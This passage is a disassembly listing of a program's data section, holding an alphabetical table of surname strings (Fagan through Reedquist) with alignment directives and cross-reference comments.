aFagan db 'Fagan',0
align 4
aFaioes db 'Faioes',0
align 4
aFalcoAcosta db 'Falco-Acosta',0
align 4
aFalorsi db 'Falorsi',0
aFaris db 'Faris',0
align 4
aFarone db 'Farone',0
align 4
aFarren db 'Farren',0
align 4
aFasso db 'Fasso',27h,0
align 4
aFates db 'Fates',0
align 4
aFeigenbaum db 'Feigenbaum',0
align 10h
aFejzo db 'Fejzo',0
align 4
aFeldman db 'Feldman',0
aFernald db 'Fernald',0
aFernandes db 'Fernandes',0
align 4
aFerrante db 'Ferrante',0
align 10h
aFerriell db 'Ferriell',0
align 4
aFeuer db 'Feuer',0
align 4
aFido db 'Fido',0
align 4
aField db 'Field',0
align 4
aFink db 'Fink',0
align 4
aFinkelstein db 'Finkelstein',0
aFinnegan db 'Finnegan',0
align 4
aFiorina db 'Fiorina',0
aFisk db 'Fisk',0
align 4
aFitzmaurice db 'Fitzmaurice',0
aFlier db 'Flier',0
align 4
aFlores db 'Flores',0
align 10h
aFolks db 'Folks',0
align 4
aForester db 'Forester',0
align 4
aFortes db 'Fortes',0
align 4
aFortier db 'Fortier',0
aFossey db 'Fossey',0
align 4
aFossi db 'Fossi',0
align 4
aFrancisco db 'Francisco',0
align 10h
aFranklinKenea db 'Franklin-Kenea',0
align 10h
aFranz db 'Franz',0
align 4
aFrazierDavis db 'Frazier-Davis',0
align 4
aFreid db 'Freid',0
align 10h
aFreundlich db 'Freundlich',0
align 4
aFried db 'Fried',0
align 4
aFriedland db 'Friedland',0
align 10h
aFrisken db 'Frisken',0
aFrowiss db 'Frowiss',0
aFryberger db 'Fryberger',0
align 4
aFrye db 'Frye',0
align 4
aFujiiAbe db 'Fujii-Abe',0
align 10h
aFuller db 'Fuller',0
align 4
aFurth db 'Furth',0
align 10h
aFusaro db 'Fusaro',0
align 4
aGabrielli db 'Gabrielli',0
align 4
aGaggiotti db 'Gaggiotti',0
align 10h
aGaleotti db 'Galeotti',0
align 4
aGalwey db 'Galwey',0
align 4
aGambini db 'Gambini',0
aGarfield db 'Garfield',0
align 4
aGarman db 'Garman',0
align 10h
aGaronna db 'Garonna',0
aGeller db 'Geller',0
align 10h
aGemberling db 'Gemberling',0
align 4
aGeorgi db 'Georgi',0
align 4
aGerrett db 'Gerrett',0
aGhorai db 'Ghorai',0
align 4
aGibbens db 'Gibbens',0
aGibson db 'Gibson',0
align 4
aGilbert db 'Gilbert',0
aGili db 'Gili',0
align 4
aGill db 'Gill',0
align 4
aGillispie db 'Gillispie',0
align 4
aGist db 'Gist',0
align 10h
aGleason db 'Gleason',0
aGlegg db 'Glegg',0
align 10h
aGlendon db 'Glendon',0
aGoldfarb db 'Goldfarb',0
align 4
aGoncalves db 'Goncalves',0
align 10h
aGood db 'Good',0
align 4
aGoodearl db 'Goodearl',0
align 4
aGoody db 'Goody',0
align 4
aGozzi db 'Gozzi',0
align 4
aGravell db 'Gravell',0
aGreenberg db 'Greenberg',0
align 4
aGreenfeld db 'Greenfeld',0
align 4
aGriffiths db 'Griffiths',0
align 10h
aGrigoletto db 'Grigoletto',0
align 4
aGrummell db 'Grummell',0
align 4
aGruner db 'Gruner',0
align 10h
aGruppe db 'Gruppe',0
align 4
aGuenthart db 'Guenthart',0
align 4
aGunn db 'Gunn',0
align 4
aGuo db 'Guo',0
aHa db 'Ha',0
align 4
aHaar db 'Haar',0
align 4
aHackman db 'Hackman',0
aHackshaw db 'Hackshaw',0
align 10h
aHaley db 'Haley',0
align 4
aHalkias db 'Halkias',0
aHallowell db 'Hallowell',0
align 4
aHalpert db 'Halpert',0
aHambarzumjan db 'Hambarzumjan',0
align 4
aHamer db 'Hamer',0
align 4
aHammerness db 'Hammerness',0
align 4
aHand db 'Hand',0
align 10h
aHanssen db 'Hanssen',0
aHarding db 'Harding',0
aHargraves db 'Hargraves',0
align 4
aHarlow db 'Harlow',0
align 4
aHarrigan db 'Harrigan',0
align 10h
aHartman db 'Hartman',0
aHartmann db 'Hartmann',0
align 4
aHartnett db 'Hartnett',0
align 10h
aHarwell db 'Harwell',0
aHaviaras db 'Haviaras',0
align 4
aHawkes db 'Hawkes',0
align 4
aHayes db 'Hayes',0
align 4
aHaynes db 'Haynes',0
align 4
aHazlewood db 'Hazlewood',0
align 4
aHeermans db 'Heermans',0
align 4
aHeft db 'Heft',0
align 4
aHeiland db 'Heiland',0
aHellman db 'Hellman',0
aHellmiss db 'Hellmiss',0
align 4
aHelprin db 'Helprin',0
aHemphill db 'Hemphill',0
align 4
aHenery db 'Henery',0
align 4
aHenrichs db 'Henrichs',0
align 10h
aHernandez db 'Hernandez',0 ; DATA XREF: ___:0043A704o
align 4
aHerrera db 'Herrera',0
aHester db 'Hester',0
align 4
aHeubert db 'Heubert',0
aHeyeck db 'Heyeck',0
align 4
aHimmelfarb db 'Himmelfarb',0
align 4
aHind db 'Hind',0
align 10h
aHirst db 'Hirst',0
align 4
aHitchcock db 'Hitchcock',0
align 4
aHoang db 'Hoang',0
align 4
aHock db 'Hock',0
align 4
aHoffer db 'Hoffer',0
align 4
aHoffman db 'Hoffman',0
aHokanson db 'Hokanson',0
align 10h
aHokoda db 'Hokoda',0
align 4
aHolmes db 'Holmes',0
align 10h
aHoloien db 'Holoien',0
aHolter db 'Holter',0
align 10h
aHolway db 'Holway',0
align 4
aHolzman db 'Holzman',0
aHooker db 'Hooker',0
align 4
aHopkins db 'Hopkins',0
aHorsley db 'Horsley',0
aHoshida db 'Hoshida',0
aHostage db 'Hostage',0
aHottle db 'Hottle',0
align 10h
aHoward db 'Howard',0
align 4
aHoy db 'Hoy',0
aHuey db 'Huey',0
align 4
aHuidekoper db 'Huidekoper',0
align 10h
aHungerford db 'Hungerford',0
align 4
aHuntington db 'Huntington',0
align 4
aHupp db 'Hupp',0 ; DATA XREF: ___:0043A784o
align 10h
aHurtubise db 'Hurtubise',0 ; DATA XREF: ___:0043A788o
align 4
aHutchings db 'Hutchings',0 ; DATA XREF: ___:0043A78Co
align 4
aHyde db 'Hyde',0 ; DATA XREF: ___:0043A790o
align 10h
aIaquinta db 'Iaquinta',0 ; DATA XREF: ___:0043A794o
align 4
aIchikawa db 'Ichikawa',0 ; DATA XREF: ___:0043A798o
align 4
aIgarashi db 'Igarashi',0 ; DATA XREF: ___:0043A79Co
align 4
aInamura db 'Inamura',0 ; DATA XREF: ___:0043A7A0o
aInniss db 'Inniss',0 ; DATA XREF: ___:0043A7A4o
align 4
aIsaac db 'Isaac',0 ; DATA XREF: ___:0043A7A8o
align 4
aIsaievych db 'Isaievych',0 ; DATA XREF: ___:0043A7ACo
align 4
aIsbill db 'Isbill',0 ; DATA XREF: ___:0043A7B0o
align 10h
aIsserman db 'Isserman',0 ; DATA XREF: ___:0043A7B4o
align 4
aIyer db 'Iyer',0 ; DATA XREF: ___:0043A7B8o
align 4
aJacenko db 'Jacenko',0 ; DATA XREF: ___:0043A7BCo
aJackson db 'Jackson',0 ; DATA XREF: ___:0043A7C0o
aJagers db 'Jagers',0 ; DATA XREF: ___:0043A7C4o
align 4
aJagger db 'Jagger',0 ; DATA XREF: ___:0043A7C8o
align 4
aJagoe db 'Jagoe',0 ; DATA XREF: ___:0043A7CCo
align 4
aJain db 'Jain',0 ; DATA XREF: ___:0043A7D0o
align 4
aJamil db 'Jamil',0 ; DATA XREF: ___:0043A7D4o
align 4
aJanjigian db 'Janjigian',0 ; DATA XREF: ___:0043A7D8o
align 4
aJarnagin db 'Jarnagin',0 ; DATA XREF: ___:0043A7DCo
align 4
aJarrell db 'Jarrell',0 ; DATA XREF: ___:0043A7E0o
aJay db 'Jay',0 ; DATA XREF: ___:0043A7E4o
aJeffers db 'Jeffers',0 ; DATA XREF: ___:0043A7E8o
aJellis db 'Jellis',0 ; DATA XREF: ___:0043A7ECo
align 10h
aJenkins db 'Jenkins',0 ; DATA XREF: ___:0043A7F0o
aJespersen db 'Jespersen',0 ; DATA XREF: ___:0043A7F4o
align 4
aJewett db 'Jewett',0 ; DATA XREF: ___:0043A7F8o
align 4
aJohannesson db 'Johannesson',0 ; DATA XREF: ___:0043A7FCo
aJohannsen db 'Johannsen',0 ; DATA XREF: ___:0043A800o
align 4
aJohns db 'Johns',0 ; DATA XREF: ___:0043A804o
align 4
aJolly db 'Jolly',0 ; DATA XREF: ___:0043A808o
align 4
aJorgensen db 'Jorgensen',0 ; DATA XREF: ___:0043A80Co
align 10h
aJucks db 'Jucks',0 ; DATA XREF: ___:0043A810o
align 4
aJuliano db 'Juliano',0 ; DATA XREF: ___:0043A814o
aJulious db 'Julious',0 ; DATA XREF: ___:0043A818o
aKabbash db 'Kabbash',0 ; DATA XREF: ___:0043A81Co
aKaboolian db 'Kaboolian',0 ; DATA XREF: ___:0043A820o
align 4
aKafadar db 'Kafadar',0 ; DATA XREF: ___:0043A824o
aKalbfleisch db 'Kalbfleisch',0 ; DATA XREF: ___:0043A828o
aKaligian db 'Kaligian',0 ; DATA XREF: ___:0043A82Co
align 4
aKalil db 'Kalil',0 ; DATA XREF: ___:0043A830o
align 4
aKalinowski db 'Kalinowski',0 ; DATA XREF: ___:0043A834o
align 10h
aKalman db 'Kalman',0 ; DATA XREF: ___:0043A838o
align 4
aKamel db 'Kamel',0 ; DATA XREF: ___:0043A83Co
align 10h
aKangis db 'Kangis',0 ; DATA XREF: ___:0043A840o
align 4
aKarpouzes db 'Karpouzes',0 ; DATA XREF: ___:0043A844o
align 4
aKassower db 'Kassower',0 ; DATA XREF: ___:0043A848o
align 10h
aKasten db 'Kasten',0 ; DATA XREF: ___:0043A84Co
align 4
aKawachi db 'Kawachi',0 ; DATA XREF: ___:0043A850o
aKee db 'Kee',0 ; DATA XREF: ___:0043A854o
aKeenan db 'Keenan',0 ; DATA XREF: ___:0043A858o
align 4
aKeepper db 'Keepper',0 ; DATA XREF: ___:0043A85Co
aKeith db 'Keith',0 ; DATA XREF: ___:0043A860o
align 4
aKelker db 'Kelker',0 ; DATA XREF: ___:0043A864o
align 4
aKelsey db 'Kelsey',0 ; DATA XREF: ___:0043A868o
align 4
aKempton db 'Kempton',0 ; DATA XREF: ___:0043A86Co
aKemsley db 'Kemsley',0 ; DATA XREF: ___:0043A870o
aKendall db 'Kendall',0 ; DATA XREF: ___:0043A874o
aKerry db 'Kerry',0 ; DATA XREF: ___:0043A878o
align 4
aKeul db 'Keul',0 ; DATA XREF: ___:0043A87Co
align 4
aKhong db 'Khong',0 ; DATA XREF: ___:0043A880o
align 4
aKimmel db 'Kimmel',0 ; DATA XREF: ___:0043A884o
align 4
aKimmett db 'Kimmett',0 ; DATA XREF: ___:0043A888o
aKimura db 'Kimura',0 ; DATA XREF: ___:0043A88Co
align 4
aKindall db 'Kindall',0 ; DATA XREF: ___:0043A890o
aKinsley db 'Kinsley',0 ; DATA XREF: ___:0043A894o
aKippenberger db 'Kippenberger',0 ; DATA XREF: ___:0043A898o
align 4
aKirscht db 'Kirscht',0 ; DATA XREF: ___:0043A89Co
aKittridge db 'Kittridge',0 ; DATA XREF: ___:0043A8A0o
align 4
aKleckner db 'Kleckner',0 ; DATA XREF: ___:0043A8A4o
align 4
aKleiman db 'Kleiman',0 ; DATA XREF: ___:0043A8A8o
aKleinfelder db 'Kleinfelder',0 ; DATA XREF: ___:0043A8ACo
aKlemperer db 'Klemperer',0 ; DATA XREF: ___:0043A8B0o
align 4
aKling db 'Kling',0 ; DATA XREF: ___:0043A8B4o
align 4
aKlinkenborg db 'Klinkenborg',0 ; DATA XREF: ___:0043A8B8o
aKlint db 'Klint',0 ; DATA XREF: ___:0043A8BCo
align 10h
aKnuff db 'Knuff',0 ; DATA XREF: ___:0043A8C0o
align 4
aKobrick db 'Kobrick',0 ; DATA XREF: ___:0043A8C4o
aKoch db 'Koch',0 ; DATA XREF: ___:0043A8C8o
align 4
aKohn db 'Kohn',0 ; DATA XREF: ___:0043A8CCo
align 10h
aKoivumaki db 'Koivumaki',0 ; DATA XREF: ___:0043A8D0o
align 4
aKommer db 'Kommer',0 ; DATA XREF: ___:0043A8D4o
align 4
aKoniaris db 'Koniaris',0 ; DATA XREF: ___:0043A8D8o
align 10h
aKonrad db 'Konrad',0 ; DATA XREF: ___:0043A8DCo
align 4
aKool db 'Kool',0 ; DATA XREF: ___:0043A8E0o
align 10h
aKorzybski db 'Korzybski',0 ; DATA XREF: ___:0043A8E4o
align 4
aKotter db 'Kotter',0 ; DATA XREF: ___:0043A8E8o
align 4
aKovaks db 'Kovaks',0 ; DATA XREF: ___:0043A8ECo
align 4
aKraemer db 'Kraemer',0 ; DATA XREF: ___:0043A8F0o
aKrailo db 'Krailo',0 ; DATA XREF: ___:0043A8F4o
align 4
aKrasney db 'Krasney',0 ; DATA XREF: ___:0043A8F8o
aKraus db 'Kraus',0 ; DATA XREF: ___:0043A8FCo
align 4
aKroemer db 'Kroemer',0 ; DATA XREF: ___:0043A900o
aKrysiak db 'Krysiak',0 ; DATA XREF: ___:0043A904o
aKuenzli db 'Kuenzli',0 ; DATA XREF: ___:0043A908o
aKumar db 'Kumar',0 ; DATA XREF: ___:0043A90Co
align 4
aKusman db 'Kusman',0 ; DATA XREF: ___:0043A910o
align 4
aKuwabara db 'Kuwabara',0 ; DATA XREF: ___:0043A914o
align 10h
aLa db 'La',0 ; DATA XREF: ___:0043A918o
align 4
aLabunka db 'Labunka',0 ; DATA XREF: ___:0043A91Co
aLafler db 'Lafler',0 ; DATA XREF: ___:0043A920o
align 4
aLaing db 'Laing',0 ; DATA XREF: ___:0043A924o
align 4
aLallemant db 'Lallemant',0 ; DATA XREF: ___:0043A928o
align 4
aLandes db 'Landes',0 ; DATA XREF: ___:0043A92Co
align 10h
aLankes db 'Lankes',0 ; DATA XREF: ___:0043A930o
align 4
aLantieri db 'Lantieri',0 ; DATA XREF: ___:0043A934o
align 4
aLanzit db 'Lanzit',0 ; DATA XREF: ___:0043A938o
align 4
aLaserna db 'Laserna',0 ; DATA XREF: ___:0043A93Co
aLashley db 'Lashley',0 ; DATA XREF: ___:0043A940o
aLawless db 'Lawless',0
aLecar db 'Lecar',0 ; DATA XREF: ___:0043A945o
align 4
aLecce db 'Lecce',0
align 4
aLeclercq db 'Leclercq',0
align 10h
aLeite db 'Leite',0
align 4
aLenard db 'Lenard',0
align 10h
aLEnclos db 'l',27h,'Enclos',0
align 4
aLesser db 'Lesser',0
align 4
aLessi db 'Lessi',0
align 4
aLiakos db 'Liakos',0
align 4
aLidano db 'Lidano',0
align 4
aLiem db 'Liem',0
align 4
aLight db 'Light',0
align 4
aLightfoot db 'Lightfoot',0
align 4
aLim db 'Lim',0
aLinares db 'Linares',0
aLinda db 'Linda',0
align 4
aLinder db 'Linder',0
align 4
aLine_0 db 'Line',0
align 4
aLinehan db 'Linehan',0
aLinzee db 'Linzee',0
align 4
aLippmann db 'Lippmann',0
align 4
aLipponen db 'Lipponen',0
align 4
aLittle db 'Little',0
align 4
aLitvak db 'Litvak',0
align 4
aLivernash db 'Livernash',0
align 10h
aLivi db 'Livi',0
align 4
aLivolsi db 'Livolsi',0
aLizardo db 'Lizardo',0
aLocatelli db 'Locatelli',0
align 4
aLongworth db 'Longworth',0
align 10h
aLoss db 'Loss',0
align 4
aLoveman db 'Loveman',0
aLowenstein db 'Lowenstein',0
align 4
aLoza db 'Loza',0
align 4
aLubin db 'Lubin',0
align 4
aLucas db 'Lucas',0
align 4
aLuciano db 'Luciano',0
aLuczkow db 'Luczkow',0
aLuecke db 'Luecke',0
align 4
aLunetta db 'Lunetta',0
aLuoma db 'Luoma',0
align 4
aLussier db 'Lussier',0
aLutcavage db 'Lutcavage',0
align 10h
aLuzader db 'Luzader',0
aMa db 'Ma',0
align 4
aMaccormac db 'Maccormac',0
align 4
aMacdonald db 'Macdonald',0
align 4
aMaceachern db 'Maceachern',0
align 10h
aMacintyre db 'Macintyre',0
align 4
aMackenney db 'Mackenney',0
align 4
aMacmillan db 'MacMillan',0
align 4
aMacy db 'Macy',0
align 4
aMadigan db 'Madigan',0
aMaggio db 'Maggio',0
align 4
aMahony db 'Mahony',0
align 4
aMaier db 'Maier',0
align 4
aMaineHershey db 'Maine-Hershey',0
align 4
aMaisano db 'Maisano',0
aMalatesta db 'Malatesta',0
align 10h
aMaller db 'Maller',0
align 4
aMalova db 'Malova',0
align 10h
aManalis db 'Manalis',0
aMandel db 'Mandel',0
align 10h
aManganiello db 'Manganiello',0
aMantovan db 'Mantovan',0
align 4
aMarch_0 db 'March',0
align 10h
aMarchbanks db 'Marchbanks',0
align 4
aMarcus db 'Marcus',0
align 4
aMargalit db 'Margalit',0
align 10h
aMargetts db 'Margetts',0
align 4
aMarques db 'Marques',0
aMartinez db 'Martinez',0
align 10h
aMartochio db 'Martochio',0
align 4
aMarton db 'Marton',0
align 4
aMarubini db 'Marubini',0
align 10h
aMass db 'Mass',0
align 4
aMatalka db 'Matalka',0
aMatarazzo db 'Matarazzo',0
align 4
aMatsukata db 'Matsukata',0
align 4
aMattson db 'Mattson',0 ; DATA XREF: ___:0043AA84o
aMauzy db 'Mauzy',0 ; DATA XREF: ___:0043AA88o
align 4
aMay_0 db 'May',0
aMazzali db 'Mazzali',0
aMazziotta db 'Mazziotta',0
align 10h
aMcbride db 'Mcbride',0
aMccaffery db 'Mccaffery',0
align 4
aMccall db 'Mccall',0
align 4
aMcclearn db 'Mcclearn',0
align 4
aMcdowell db 'Mcdowell',0
align 4
aMcelroy db 'Mcelroy',0
aMcfadden db 'McFadden',0
align 4
aMcghee db 'Mcghee',0
align 10h
aMcgoldrick db 'Mcgoldrick',0
align 4
aMcilroy db 'McIlroy',0
aMcintosh db 'Mcintosh',0
align 10h
aMckenna db 'Mckenna',0
aMclane db 'Mclane',0
align 10h
aMclaren db 'Mclaren',0
aMcnealy db 'Mcnealy',0
aMcnulty db 'Mcnulty',0
aMeccariello db 'Meccariello',0
aMemisoglu db 'Memisoglu',0
align 10h
aMenzies db 'Menzies',0
aMerikoski db 'Merikoski',0
align 4
aMerlani db 'Merlani',0
aMerminod db 'Merminod',0
align 4
aMerseth db 'Merseth',0
aMerz db 'Merz',0
align 4
aMetelka db 'Metelka',0
aMetropolis db 'Metropolis',0 ; DATA XREF: ___:0043AAFCo
align 4
aMeurer db 'Meurer',0 ; DATA XREF: ___:0043AB00o
align 4
aMichelman db 'Michelman',0 ; DATA XREF: ___:0043AB04o
align 10h
aMiddle db 'Middle',0 ; DATA XREF: ___:0043AB08o
align 4
aMieher db 'Mieher',0 ; DATA XREF: ___:0043AB0Co
align 10h
aMills db 'Mills',0 ; DATA XREF: ___:0043AB10o
align 4
aMinh db 'Minh',0 ; DATA XREF: ___:0043AB14o
align 10h
aMini db 'Mini',0 ; DATA XREF: ___:0043AB18o
align 4
aMinichiello db 'Minichiello',0 ; DATA XREF: ___:0043AB1Co
aGonzalez db 'Gonzalez',0 ; DATA XREF: ___:0043AB20o
align 10h
aMitropoulos db 'Mitropoulos',0 ; DATA XREF: ___:0043AB24o
aMittal db 'Mittal',0 ; DATA XREF: ___:0043AB28o
align 4
aMocroft db 'Mocroft',0 ; DATA XREF: ___:0043AB2Co
aModestino db 'Modestino',0 ; DATA XREF: ___:0043AB30o
align 4
aMoeller db 'Moeller',0 ; DATA XREF: ___:0043AB34o
aMohr db 'Mohr',0 ; DATA XREF: ___:0043AB38o
align 4
aMoiamedi db 'Moiamedi',0 ; DATA XREF: ___:0043AB3Co
align 4
aMonque db 'Monque',0 ; DATA XREF: ___:0043AB40o
align 4
aMontilio db 'Montilio',0 ; DATA XREF: ___:0043AB44o
align 4
aMooredech_ db 'MooreDeCh.',0 ; DATA XREF: ___:0043AB48o
align 4
aMorani db 'Morani',0 ; DATA XREF: ___:0043AB4Co
align 4
aMoreton db 'Moreton',0 ; DATA XREF: ___:0043AB50o
aMorrison db 'Morrison',0 ; DATA XREF: ___:0043AB54o
align 10h
aMorrow db 'Morrow',0 ; DATA XREF: ___:0043AB58o
align 4
aMortimer db 'Mortimer',0 ; DATA XREF: ___:0043AB5Co
align 4
aMosher db 'Mosher',0 ; DATA XREF: ___:0043AB60o
align 4
aMosler db 'Mosler',0 ; DATA XREF: ___:0043AB64o
align 4
aMostafavi db 'Mostafavi',0 ; DATA XREF: ___:0043AB68o
align 10h
aMotooka db 'Motooka',0 ; DATA XREF: ___:0043AB6Co
aMudarri db 'Mudarri',0 ; DATA XREF: ___:0043AB70o
aMuello db 'Muello',0 ; DATA XREF: ___:0043AB74o
align 4
aMugnai db 'Mugnai',0 ; DATA XREF: ___:0043AB78o
align 10h
aMulkern db 'Mulkern',0 ; DATA XREF: ___:0043AB7Co
aMulroy db 'Mulroy',0 ; DATA XREF: ___:0043AB80o
align 10h
aMumford db 'Mumford',0 ; DATA XREF: ___:0043AB84o
aMussachio db 'Mussachio',0 ; DATA XREF: ___:0043AB88o
align 4
aNaddeo db 'Naddeo',0 ; DATA XREF: ___:0043AB8Co
align 4
aNapolitano db 'Napolitano',0 ; DATA XREF: ___:0043AB90o
align 4
aNardi db 'Nardi',0 ; DATA XREF: ___:0043AB94o
align 10h
aNardone db 'Nardone',0 ; DATA XREF: ___:0043AB98o
aNaviaux db 'Naviaux',0 ; DATA XREF: ___:0043AB9Co
aNayduch db 'Nayduch',0 ; DATA XREF: ___:0043ABA0o
aNelson db 'Nelson',0 ; DATA XREF: ___:0043ABA4o
align 10h
aNenna db 'Nenna',0 ; DATA XREF: ___:0043ABA8o
align 4
aNesci db 'Nesci',0 ; DATA XREF: ___:0043ABACo
align 10h
aNeuman db 'Neuman',0 ; DATA XREF: ___:0043ABB0o
align 4
aNewfeld db 'Newfeld',0 ; DATA XREF: ___:0043ABB4o
aNewlin db 'Newlin',0 ; DATA XREF: ___:0043ABB8o
align 4
aNg db 'Ng',0 ; DATA XREF: ___:0043ABBCo
align 4
aNi_0 db 'Ni',0 ; DATA XREF: ___:0043ABC0o
align 10h
aNickerson db 'Nickerson',0 ; DATA XREF: ___:0043ABC4o
align 4
aNickoloff db 'Nickoloff',0 ; DATA XREF: ___:0043ABC8o
align 4
aNisenson db 'Nisenson',0 ; DATA XREF: ___:0043ABCCo
align 4
aNitabach db 'Nitabach',0 ; DATA XREF: ___:0043ABD0o
align 10h
aNotman db 'Notman',0 ; DATA XREF: ___:0043ABD4o
align 4
aNuzum db 'Nuzum',0 ; DATA XREF: ___:0043ABD8o
align 10h
aOcougne db 'Ocougne',0 ; DATA XREF: ___:0043ABDCo
aOgata db 'Ogata',0 ; DATA XREF: ___:0043ABE0o
align 10h
aOh db 'Oh',0 ; DATA XREF: ___:0043ABE4o
align 4
aOHagan db 'O',27h,'hagan',0 ; DATA XREF: ___:0043ABE8o
aOldford db 'Oldford',0 ; DATA XREF: ___:0043ABECo
aOlsen db 'Olsen',0 ; DATA XREF: ___:0043ABF0o
align 4
aOlson db 'Olson',0 ; DATA XREF: ___:0043ABF4o
align 4
aOlszewski db 'Olszewski',0 ; DATA XREF: ___:0043ABF8o
align 10h
aOMalley db 'O',27h,'malley',0 ; DATA XREF: ___:0043ABFCo
align 4
aOman db 'Oman',0 ; DATA XREF: ___:0043AC00o
align 4
aOMeara db 'O',27h,'meara',0 ; DATA XREF: ___:0043AC04o
aOpel db 'Opel',0 ; DATA XREF: ___:0043AC08o
align 4
aOray db 'Oray',0 ; DATA XREF: ___:0043AC0Co
align 4
aOrfield db 'Orfield',0 ; DATA XREF: ___:0043AC10o
aOrsi db 'Orsi',0 ; DATA XREF: ___:0043AC14o
align 4
aOspina db 'Ospina',0 ; DATA XREF: ___:0043AC18o
align 4
aOstrowski db 'Ostrowski',0 ; DATA XREF: ___:0043AC1Co
align 10h
aOttaviani db 'Ottaviani',0 ; DATA XREF: ___:0043AC20o
align 4
aOtten db 'Otten',0 ; DATA XREF: ___:0043AC24o
align 4
aOuchida db 'Ouchida',0 ; DATA XREF: ___:0043AC28o
aOvid db 'Ovid',0 ; DATA XREF: ___:0043AC2Co
align 4
aPaesdealmeida db 'PaesDealmeida',0 ; DATA XREF: ___:0043AC30o
align 4
aPaine db 'Paine',0 ; DATA XREF: ___:0043AC34o
align 4
aPalayoor db 'Palayoor',0 ; DATA XREF: ___:0043AC38o
align 4
aPalepu db 'Palepu',0 ; DATA XREF: ___:0043AC3Co
align 10h
aPallara db 'Pallara',0 ; DATA XREF: ___:0043AC40o
aPalmitesta db 'Palmitesta',0 ; DATA XREF: ___:0043AC44o
align 4
aPanadero db 'Panadero',0 ; DATA XREF: ___:0043AC48o
align 10h
aPanizzon db 'Panizzon',0 ; DATA XREF: ___:0043AC4Co
align 4
aPantilla db 'Pantilla',0 ; DATA XREF: ___:0043AC50o
align 4
aPaoletti db 'Paoletti',0 ; DATA XREF: ___:0043AC54o
align 4
aParmeggiani db 'Parmeggiani',0 ; DATA XREF: ___:0043AC58o
aParris db 'Parris',0 ; DATA XREF: ___:0043AC5Co
align 4
aPartridge db 'Partridge',0 ; DATA XREF: ___:0043AC60o
align 4
aPascucci db 'Pascucci',0 ; DATA XREF: ___:0043AC64o
align 10h
aPatefield db 'Patefield',0 ; DATA XREF: ___:0043AC68o
align 4
aPatrick db 'Patrick',0 ; DATA XREF: ___:0043AC6Co
aPattullo db 'Pattullo',0 ; DATA XREF: ___:0043AC70o
align 10h
aPavetti db 'Pavetti',0 ; DATA XREF: ___:0043AC74o
aPavlon db 'Pavlon',0 ; DATA XREF: ___:0043AC78o
align 10h
aPawloski db 'Pawloski',0 ; DATA XREF: ___:0043AC7Co
align 4
aPaynter db 'Paynter',0 ; DATA XREF: ___:0043AC80o
aPeabody db 'Peabody',0 ; DATA XREF: ___:0043AC84o
aPearlberg db 'Pearlberg',0 ; DATA XREF: ___:0043AC88o
align 4
aPederson db 'Pederson',0 ; DATA XREF: ___:0043AC8Co
align 4
aPeishel db 'Peishel',0 ; DATA XREF: ___:0043AC90o
aPenny db 'Penny',0 ; DATA XREF: ___:0043AC94o
align 4
aPereira db 'Pereira',0 ; DATA XREF: ___:0043AC98o
aPerko db 'Perko',0 ; DATA XREF: ___:0043AC9Co
align 4
aPerlak db 'Perlak',0 ; DATA XREF: ___:0043ACA0o
align 4
aPerlman db 'Perlman',0 ; DATA XREF: ___:0043ACA4o
aPerna db 'Perna',0 ; DATA XREF: ___:0043ACA8o
align 4
aPerone db 'Perone',0 ; DATA XREF: ___:0043ACACo
align 4
aPerrimon db 'Perrimon',0 ; DATA XREF: ___:0043ACB0o
align 10h
aPeters db 'Peters',0 ; DATA XREF: ___:0043ACB4o
align 4
aPetruzello db 'Petruzello',0 ; DATA XREF: ___:0043ACB8o
align 4
aPettibone db 'Pettibone',0 ; DATA XREF: ___:0043ACBCo
align 10h
aPettit db 'Pettit',0 ; DATA XREF: ___:0043ACC0o
align 4
aPfister db 'Pfister',0 ; DATA XREF: ___:0043ACC4o
aPilbeam db 'Pilbeam',0 ; DATA XREF: ___:0043ACC8o
aPinot db 'Pinot',0 ; DATA XREF: ___:0043ACCCo
align 10h
aPlancon db 'Plancon',0 ; DATA XREF: ___:0043ACD0o
aPlant db 'Plant',0 ; DATA XREF: ___:0043ACD4o
align 10h
aPlasket db 'Plasket',0 ; DATA XREF: ___:0043ACD8o
aPlous db 'Plous',0 ; DATA XREF: ___:0043ACDCo
align 10h
aPo db 'Po',0 ; DATA XREF: ___:0043ACE0o
align 4
aPocobene db 'Pocobene',0 ; DATA XREF: ___:0043ACE4o
align 10h
aPoincaire db 'Poincaire',0 ; DATA XREF: ___:0043ACE8o
align 4
aPointer db 'Pointer',0 ; DATA XREF: ___:0043ACECo
aPoirier db 'Poirier',0 ; DATA XREF: ___:0043ACF0o
aPolak db 'Polak',0 ; DATA XREF: ___:0043ACF4o
align 4
aPolanyi db 'Polanyi',0 ; DATA XREF: ___:0043ACF8o
aPolitis db 'Politis',0 ; DATA XREF: ___:0043ACFCo
aPoma db 'Poma',0 ; DATA XREF: ___:0043AD00o
align 4
aPoolman db 'Poolman',0 ; DATA XREF: ___:0043AD04o
aPowers db 'Powers',0 ; DATA XREF: ___:0043AD08o
align 4
aPresper db 'Presper',0 ; DATA XREF: ___:0043AD0Co
aPreucel db 'Preucel',0 ; DATA XREF: ___:0043AD10o
aPrevost db 'Prevost',0 ; DATA XREF: ___:0043AD14o
aPritchard db 'Pritchard',0 ; DATA XREF: ___:0043AD18o
align 10h
aPritz db 'Pritz',0 ; DATA XREF: ___:0043AD1Co
align 4
aProietti db 'Proietti',0 ; DATA XREF: ___:0043AD20o
align 4
aProthrowStith db 'Prothrow-Stith',0 ; DATA XREF: ___:0043AD24o
align 4
aPuccia db 'Puccia',0 ; DATA XREF: ___:0043AD28o
align 4
aPugh db 'Pugh',0 ; DATA XREF: ___:0043AD2Co
align 4
aPynchon db 'Pynchon',0 ; DATA XREF: ___:0043AD30o
aQuaday db 'Quaday',0 ; DATA XREF: ___:0043AD34o
align 4
aQuetin db 'Quetin',0 ; DATA XREF: ___:0043AD38o
align 4
aRabe db 'Rabe',0 ; DATA XREF: ___:0043AD3Co
align 4
aRabkin db 'Rabkin',0 ; DATA XREF: ___:0043AD40o
align 4
aRadeke db 'Radeke',0 ; DATA XREF: ___:0043AD44o
align 4
aRajagopalan db 'Rajagopalan',0 ; DATA XREF: ___:0043AD48o
aRaney db 'Raney',0 ; DATA XREF: ___:0043AD4Co
align 4
aRangan db 'Rangan',0 ; DATA XREF: ___:0043AD50o
align 10h
aRankin db 'Rankin',0 ; DATA XREF: ___:0043AD54o
align 4
aRapple db 'Rapple',0 ; DATA XREF: ___:0043AD58o
align 10h
aRayport db 'Rayport',0 ; DATA XREF: ___:0043AD5Co
aReddenTyler db 'Redden-Tyler',0 ; DATA XREF: ___:0043AD60o
align 4
aReedquist db 'Reedquist',0 ; DATA XREF: ___:0043AD64o
align 4
